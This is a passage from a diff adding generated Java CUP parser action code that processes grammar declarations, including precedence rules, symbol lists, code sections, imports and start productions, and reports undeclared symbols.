((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 59: // NT$12 ::= + { + Object RESULT = null; + int lhs_idleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int lhs_idright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + String lhs_id = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + + CUP$parser$result = new java_cup.runtime.Symbol(55/*NT$12*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 58: // NT$11 ::= + { + Object RESULT = null; + int lhs_idleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int lhs_idright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String lhs_id = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + /* lookup the lhs nt */ + lhs_nt = (non_terminal)non_terms.get(lhs_id); + + /* if it wasn't declared, emit a message */ + if (lhs_nt == null) + { + if (lexer.error_count == 0) + lexer.emit_error("LHS non terminal \"" + lhs_id + + "\" has not been declared"); + } + + /* reset the rhs accumulation */ + new_rhs(); + + CUP$parser$result = new java_cup.runtime.Symbol(54/*NT$11*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 57: // production_list ::= production + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(12/*production_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 56: // production_list ::= production_list production + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(12/*production_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 55: // start_spec ::= empty + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(11/*start_spec*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 54: // start_spec ::= START WITH nt_id NT$10 SEMI + { + Object RESULT = null; + // propagate RESULT from NT$10 + if ( ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value != null ) + RESULT = (Object) ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + int start_nameleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int start_nameright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + String start_name = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + + CUP$parser$result = new java_cup.runtime.Symbol(11/*start_spec*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-4)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 53: // NT$10 ::= + { + Object RESULT = null; + int start_nameleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int start_nameright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String start_name = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + /* verify that the name has been declared as a non terminal */ + non_terminal nt = (non_terminal)non_terms.get(start_name); + if (nt == null) + { + lexer.emit_error( "Start non terminal \"" + start_name + + "\" has not been declared"); + } + else + { + /* remember the non-terminal for later */ + start_nt = nt; + + /* build a special start production */ + new_rhs(); + add_rhs_part(add_lab(new symbol_part(start_nt), "start_val")); + add_rhs_part(new symbol_part(terminal.EOF)); + add_rhs_part(new action_part("RESULT = start_val;")); + emit.start_production = + new production(non_terminal.START_nt, rhs_parts, rhs_pos); + new_rhs(); + } + + CUP$parser$result = new java_cup.runtime.Symbol(53/*NT$10*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 52: // term_id ::= symbol_id + { + String RESULT = null; + int symleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int symright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String sym = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + /* check that the symbol_id is a terminal */ + if (symbols.get(sym) == null) + { + /* issue a message */ + lexer.emit_error("Terminal \"" + sym + + "\" has not been declared"); + } + RESULT = sym; + + CUP$parser$result = new java_cup.runtime.Symbol(41/*term_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 51: // terminal_id ::= term_id + { + String RESULT = null; + int symleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int symright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String sym = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + add_precedence(sym); + RESULT = sym; + + CUP$parser$result = new java_cup.runtime.Symbol(40/*terminal_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 50: // terminal_list ::= terminal_id + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(32/*terminal_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 49: // terminal_list ::= terminal_list COMMA terminal_id + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(32/*terminal_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 48: // preced ::= PRECEDENCE NONASSOC NT$9 terminal_list SEMI + { + Object RESULT = null; + // propagate RESULT from NT$9 + if ( ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value != null ) + RESULT = (Object) ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + + CUP$parser$result = new java_cup.runtime.Symbol(31/*preced*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-4)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 47: // NT$9 ::= + { + Object RESULT = null; + + update_precedence(assoc.nonassoc); + + CUP$parser$result = new java_cup.runtime.Symbol(52/*NT$9*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 46: // preced ::= PRECEDENCE RIGHT NT$8 terminal_list SEMI + { + Object RESULT = null; + // propagate RESULT from NT$8 + if ( ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value != null ) + RESULT = (Object) ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + + CUP$parser$result = new java_cup.runtime.Symbol(31/*preced*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-4)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 45: // NT$8 ::= + { + Object RESULT = null; + + update_precedence(assoc.right); + + CUP$parser$result = new java_cup.runtime.Symbol(51/*NT$8*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 44: // preced ::= PRECEDENCE LEFT NT$7 terminal_list SEMI + { + Object RESULT = null; + // propagate RESULT from NT$7 + if ( ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value != null ) + RESULT = (Object) ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + + CUP$parser$result = new java_cup.runtime.Symbol(31/*preced*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-4)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 43: // NT$7 ::= + { + Object RESULT = null; + + update_precedence(assoc.left); + + CUP$parser$result = new java_cup.runtime.Symbol(50/*NT$7*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 42: // precedence_l ::= preced + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(33/*precedence_l*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 41: // precedence_l ::= precedence_l preced + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(33/*precedence_l*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 40: // precedence_list ::= empty + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(30/*precedence_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 39: // precedence_list ::= precedence_l + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(30/*precedence_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 38: // non_term_name_list ::= new_non_term_id + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(21/*non_term_name_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 37: // non_term_name_list ::= non_term_name_list COMMA new_non_term_id + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(21/*non_term_name_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 36: // term_name_list ::= new_term_id + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(20/*term_name_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 35: // term_name_list ::= term_name_list COMMA new_term_id + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(20/*term_name_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 34: // declares_non_term ::= non_term_name_list NT$6 SEMI + { + Object RESULT = null; + // propagate RESULT from NT$6 + if ( ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value != null ) + RESULT = (Object) ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + + CUP$parser$result = new java_cup.runtime.Symbol(35/*declares_non_term*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 33: // NT$6 ::= + { + Object RESULT = null; + + /* reset the accumulated multipart name */ + multipart_name = new String(); + + CUP$parser$result = new java_cup.runtime.Symbol(49/*NT$6*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 32: // declares_term ::= term_name_list NT$5 SEMI + { + Object RESULT = null; + // propagate RESULT from NT$5 + if ( ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value != null ) + RESULT = (Object) ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + + CUP$parser$result = new java_cup.runtime.Symbol(34/*declares_term*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 31: // NT$5 ::= + { + Object RESULT = null; + + /* reset the accumulated multipart name */ + multipart_name = new String(); + + CUP$parser$result = new java_cup.runtime.Symbol(48/*NT$5*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 30: // symbol ::= non_terminal error NT$4 SEMI + { + Object RESULT = null; + // propagate RESULT from NT$4 + if ( ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value != null ) + RESULT = (Object) ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + + CUP$parser$result = new java_cup.runtime.Symbol(18/*symbol*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-3)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 29: // NT$4 ::= + { + Object RESULT = null; + + /* reset the accumulated multipart name */ + multipart_name = new String(); + + CUP$parser$result = new java_cup.runtime.Symbol(47/*NT$4*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 28: // symbol ::= TERMINAL error NT$3 SEMI + { + Object RESULT = null; + // propagate RESULT from NT$3 + if ( ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value != null ) + RESULT = (Object) ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + + CUP$parser$result = new java_cup.runtime.Symbol(18/*symbol*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-3)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 27: // NT$3 ::= + { + Object RESULT = null; + + /* reset the accumulated multipart name */ + multipart_name = new String(); + + CUP$parser$result = new java_cup.runtime.Symbol(46/*NT$3*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 26: // symbol ::= non_terminal declares_non_term + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(18/*symbol*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 25: // symbol ::= non_terminal type_id declares_non_term + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(18/*symbol*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 24: // symbol ::= TERMINAL declares_term + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(18/*symbol*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 23: // symbol ::= TERMINAL type_id declares_term + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(18/*symbol*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 22: // symbol_list ::= symbol + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(10/*symbol_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 21: // symbol_list ::= symbol_list symbol + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(10/*symbol_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 20: // scan_code ::= SCAN WITH CODE_STRING opt_semi + { + Object RESULT = null; + int user_codeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int user_coderight = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + String user_code = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + + if (emit.scan_code!=null) + lexer.emit_error("Redundant scan code (skipping)"); + else /* save the user code */ + emit.scan_code = user_code; + + CUP$parser$result = new java_cup.runtime.Symbol(17/*scan_code*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-3)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 19: // init_code ::= INIT WITH CODE_STRING opt_semi + { + Object RESULT = null; + int user_codeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int user_coderight = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + String user_code = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + + if (emit.init_code!=null) + lexer.emit_error("Redundant init code (skipping)"); + else /* save the user code */ + emit.init_code = user_code; + + CUP$parser$result = new java_cup.runtime.Symbol(16/*init_code*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-3)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 18: // parser_code_part ::= PARSER CODE CODE_STRING opt_semi + { + Object RESULT = null; + int user_codeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int user_coderight = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + String user_code = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + + if (emit.parser_code!=null) + lexer.emit_error("Redundant parser code (skipping)"); + else /* save the user included code string */ + emit.parser_code = user_code; + + CUP$parser$result = new java_cup.runtime.Symbol(9/*parser_code_part*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-3)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 17: // action_code_part ::= ACTION CODE CODE_STRING opt_semi + { + Object RESULT = null; + int user_codeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int user_coderight = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + String user_code = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + + if (emit.action_code!=null) + lexer.emit_error("Redundant action code (skipping)"); + else /* save the user included code string */ + emit.action_code = user_code; + + CUP$parser$result = new java_cup.runtime.Symbol(4/*action_code_part*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-3)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 16: // code_parts ::= code_parts code_part + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(5/*code_parts*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 15: // code_parts ::= + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(5/*code_parts*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 14: // code_part ::= scan_code + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(6/*code_part*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 13: // code_part ::= init_code + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(6/*code_part*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 12: // code_part ::= parser_code_part + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(6/*code_part*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 11: // code_part ::= action_code_part + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(6/*code_part*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 10: // import_spec ::= IMPORT import_id NT$2 SEMI + { + Object RESULT = null; + // propagate RESULT from NT$2 + if ( ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value != null ) + RESULT = (Object) ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + + CUP$parser$result = new java_cup.runtime.Symbol(14/*import_spec*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-3)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 9: // NT$2 ::= + { + Object RESULT = null; + + /* save this import on the imports list */ + emit.import_list.push(multipart_name); + + /* reset the accumulated multipart name */ + multipart_name = new String(); + + CUP$parser$result = new java_cup.runtime.Symbol(45/*NT$2*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 8: // import_list ::= empty + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(3/*import_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 7: // import_list ::= import_list import_spec + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(3/*import_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 6: // package_spec ::= empty + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(2/*package_spec*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 5: // package_spec ::= PACKAGE multipart_id NT$1 SEMI + { + Object RESULT = null; + // propagate RESULT from NT$1 + if ( ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value != null ) + RESULT = (Object) ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + + CUP$parser$result = new 